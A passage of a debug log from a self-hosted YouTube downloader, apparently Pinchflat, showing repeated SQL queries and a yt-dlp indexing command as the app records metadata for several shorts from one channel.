s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:51:42.152 [debug] QUERY OK source="media_items" db=0.3ms idle=463.8ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 18:51:42.153 [debug] QUERY OK source="media_items" db=0.1ms idle=8.4ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 18:51:42.153 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:51:42.153 [debug] QUERY OK source="settings" db=0.1ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:51:42.154 [debug] QUERY OK source="settings" db=0.1ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:51:42.154 [debug] QUERY OK source="media_items" db=0.1ms idle=1.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."source_id" = ?) ORDER BY m0."uploaded_at" DESC LIMIT 50 OFFSET 20 [1] 18:51:42.159 [debug] Running yt-dlp command for action: get_media_attributes_for_collection 18:51:42.159 [debug] Current batch of media processed. Will check again in 1000ms 18:51:42.159 [debug] QUERY OK source="settings" db=0.1ms idle=6.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:51:42.160 [debug] QUERY OK source="settings" db=0.1ms idle=6.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:51:42.160 [debug] QUERY OK source="settings" db=0.1ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:51:42.160 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/@MichaelSukutJesus --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/shows/Michael Sukut/Season %(upload_date>%Y)S/s%(upload_date>%Y)Se%(upload_date>%m%d)S00 - %(title)S.%(ext)S --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --break-on-existing --download-archive /tmp/pinchflat/data/4e/46/4e46c9dfa3bbadbb9e1f0c6a4e5051098dd5736747316ed259d309016f0f3c24.txt --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/5c/5f/5c5ff40ef55d91c4c616a8f13aa6aaadbfeddfa585f6e96da623cd23b1c67c74.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 18:51:43.160 [debug] Current batch of media processed. Will check again in 1000ms 18:51:44.161 [debug] Current batch of media processed. Will check again in 1000ms 18:51:45.162 [debug] Current batch of media processed. Will check again in 1000ms 18:51:46.163 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 0.56, "description" => "", "duration" => 180, "filename" => "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.10.mp4", "id" => "BSkDL35jiAY", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/BSkDL35jiAY", "playlist_index" => 1, "timestamp" => 1749158462, "title" => "Demons. Pt.10", "upload_date" => "20250605"} 18:51:46.164 [debug] QUERY OK source="sources" db=0.2ms idle=475.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 18:51:46.164 [debug] QUERY OK source="sources" db=0.1ms idle=476.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:51:46.164 [debug] QUERY OK source="media_items" db=0.1ms idle=476.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 21:21:02Z], 1] 18:51:46.165 [debug] QUERY OK source="media_items" db=0.5ms idle=476.7ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Demons. Pt.10", "3bf23102-f86e-4f02-a604-9e5de3a482bb", "BSkDL35jiAY", 180, false, "https://www.youtube.com/shorts/BSkDL35jiAY", 1, "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.10.mp4", false, false, true, 1, [], 89, ~U[2025-06-05 21:21:02Z], ~U[2026-08-20 01:51:46Z], ~U[2026-08-20 01:51:46Z], "", "Demons. Pt.10", "BSkDL35jiAY", 180, false, "https://www.youtube.com/shorts/BSkDL35jiAY", "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.10.mp4", true, 1, ~U[2025-06-05 21:21:02Z]] 18:51:46.166 [debug] QUERY OK source="sources" db=0.1ms idle=16.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:51:46.166 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:51:46.167 [debug] QUERY OK source="media_items" db=0.3ms idle=2.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1] 18:51:46.167 [debug] Current batch of media processed. Will check again in 1000ms 18:51:47.168 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 0.56, "description" => "", "duration" => 173, "filename" => "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.9 Melchizedek Pt.3 Carrie Lynn Jones aka Say-Tan in the FLESH. Ex-wife of Elohim. 😬.mp4", "id" => "uObiA41rItQ", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/uObiA41rItQ", "playlist_index" => 2, "timestamp" => 1749157148, "title" => "Demons. Pt.9 Melchizedek Pt.3 Carrie Lynn Jones aka Say-Tan in the FLESH. Ex-wife of Elohim. 😬", "upload_date" => "20250605"} 18:51:47.169 [debug] QUERY OK source="sources" db=0.3ms idle=1003.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 18:51:47.169 [debug] QUERY OK source="sources" db=0.2ms idle=1003.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:51:47.170 [debug] QUERY OK source="media_items" db=0.2ms idle=1003.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 20:59:08Z], 1] 18:51:47.171 [debug] QUERY OK source="media_items" db=1.4ms idle=1003.2ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Demons. Pt.9 Melchizedek Pt.3 Carrie Lynn Jones aka Say-Tan in the FLESH. Ex-wife of Elohim. 😬", "6f2df0f3-5c64-416c-b2be-3297d0c79bf0", "uObiA41rItQ", 173, false, "https://www.youtube.com/shorts/uObiA41rItQ", 2, "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.9 Melchizedek Pt.3 Carrie Lynn Jones aka Say-Tan in the FLESH. Ex-wife of Elohim. 😬.mp4", false, false, true, 1, [], 89, ~U[2025-06-05 20:59:08Z], ~U[2026-08-20 01:51:47Z], ~U[2026-08-20 01:51:47Z], "", "Demons. Pt.9 Melchizedek Pt.3 Carrie Lynn Jones aka Say-Tan in the FLESH. Ex-wife of Elohim. 😬", "uObiA41rItQ", 173, false, "https://www.youtube.com/shorts/uObiA41rItQ", "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.9 Melchizedek Pt.3 Carrie Lynn Jones aka Say-Tan in the FLESH. Ex-wife of Elohim. 😬.mp4", true, 1, ~U[2025-06-05 20:59:08Z]] 18:51:47.172 [debug] QUERY OK source="sources" db=0.2ms idle=21.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:51:47.172 [debug] QUERY OK source="media_profiles" db=0.2ms idle=3.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:51:47.173 [debug] QUERY OK source="media_items" db=0.3ms idle=3.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [2] 18:51:47.173 [debug] Current batch of media processed. Will check again in 1000ms 18:51:47.658 [info] {"source":"oban","duration":1263,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:51:48.174 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 0.56, "description" => "", "duration" => 180, "filename" => "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt. 8. Melchizedek pt.2.mp4", "id" => "vmwlPoPSyiY", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/vmwlPoPSyiY", "playlist_index" => 3, "timestamp" => 1749155297, "title" => "Demons. Pt. 8. Melchizedek pt.2", "upload_date" => "20250605"} 18:51:48.175 [debug] QUERY OK source="sources" db=0.2ms idle=1002.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 18:51:48.175 [debug] QUERY OK source="sources" db=0.2ms idle=1002.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:51:48.176 [debug] QUERY OK source="media_items" db=0.1ms idle=1002.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 20:28:17Z], 1] 18:51:48.177 [debug] QUERY OK source="media_items" db=0.6ms idle=517.7ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Demons. Pt. 8. Melchizedek pt.2", "222a85da-7aa9-468e-bef6-7965db1b19ce", "vmwlPoPSyiY", 180, false, "https://www.youtube.com/shorts/vmwlPoPSyiY", 3, "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt. 8. Melchizedek pt.2.mp4", false, false, true, 1, [], 89, ~U[2025-06-05 20:28:17Z], ~U[2026-08-20 01:51:48Z], ~U[2026-08-20 01:51:48Z], "", "Demons. Pt. 8. Melchizedek pt.2", "vmwlPoPSyiY", 180, false, "https://www.youtube.com/shorts/vmwlPoPSyiY", "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt. 8. Melchizedek pt.2.mp4", true, 1, ~U[2025-06-05 20:28:17Z]] 18:51:48.177 [debug] QUERY OK source="sources" db=0.3ms idle=24.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:51:48.177 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:51:48.178 [debug] QUERY OK source="media_items" db=0.2ms idle=2.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [3] 18:51:48.178 [debug] Current batch of media processed. Will check again in 1000ms 18:51:49.179 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 0.56, "description" => "", "duration" => 180, "filename" => "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.7 Melchizedek. Pt.1.mp4", "id" => "gjpV5R_MvW4", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/gjpV5R_MvW4", "playlist_index" => 4, "timestamp" => 1749154082, "title" => "Demons. Pt.7 Melchizedek. Pt.1", "upload_date" => "20250605"} 18:51:49.180 [debug] QUERY OK source="sources" db=0.2ms idle=1002.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 18:51:49.180 [debug] QUERY OK source="sources" db=0.2ms idle=1002.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:51:49.181 [debug] QUERY OK source="media_items" db=0.1ms idle=1003.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 20:08:02Z], 1] 18:51:49.182 [debug] QUERY OK source="media_items" db=0.6ms idle=1003.1ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Demons. Pt.7 Melchizedek. Pt.1", "ea909f11-ece3-41e8-b5d2-f817069046bd", "gjpV5R_MvW4", 180, false, "https://www.youtube.com/shorts/gjpV5R_MvW4", 4, "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.7 Melchizedek. Pt.1.mp4", false, false, true, 1, [], 89, ~U[2025-06-05 20:08:02Z], ~U[2026-08-20 01:51:49Z], ~U[2026-08-20 01:51:49Z], "", "Demons. Pt.7 Melchizedek. Pt.1", "gjpV5R_MvW4", 180, false, "https://www.youtube.com/shorts/gjpV5R_MvW4", "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.7 Melchizedek. Pt.1.mp4", true, 1, ~U[2025-06-05 20:08:02Z]] 18:51:49.182 [debug] QUERY OK source="sources" db=0.2ms idle=28.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:51:49.182 [debug] QUERY OK source="media_profiles" db=0.2ms idle=2.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", 